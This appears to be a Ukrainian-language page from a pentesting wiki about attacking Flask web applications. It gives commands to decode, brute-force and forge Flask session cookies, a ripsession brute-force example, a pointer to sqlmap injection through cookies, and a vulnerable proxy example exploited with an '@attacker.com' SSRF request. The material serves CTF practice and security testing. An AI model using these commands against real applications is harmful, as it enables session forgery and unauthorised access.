89 lines
3.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Flask
{{#include ../../banners/hacktricks-training.md}}
**Можливо, якщо ви граєте в CTF, додаток Flask буде пов'язаний з** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
## Cookies
Ім'я сесійного cookie за замовчуванням - **`session`**.
### Decoder
Онлайн декодер cookie Flask: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual
Отримайте першу частину cookie до першої крапки та декодуйте її в Base64.
```bash
echo "ImhlbGxvIg" | base64 -d
```
Кукі також підписується за допомогою пароля
### **Flask-Unsign**
Командний рядок для отримання, декодування, брутфорсу та створення сесійних кукі Flask-додатку шляхом вгадування секретних ключів.
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
#### **Декодувати Cookie**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Брутфорс**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **Підписування**
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Підписування за допомогою застарілих (старих версій)
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Командний рядок для брутфорсу вебсайтів, використовуючи куки, створені за допомогою flask-unsign.
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi в Flask сесійних куках з SQLmap
[**Цей приклад**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) використовує sqlmap `eval` опцію для **автоматичного підписування payload'ів sqlmap** для flask, використовуючи відомий секрет.
## Flask проксі для SSRF
[**У цьому описі**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) пояснюється, як Flask дозволяє запит, що починається з символу "@":
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
У якому з наведених сценаріїв:
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Може дозволити ввести щось на кшталт "@attacker.com", щоб викликати **SSRF**.
{{#include ../../banners/hacktricks-training.md}}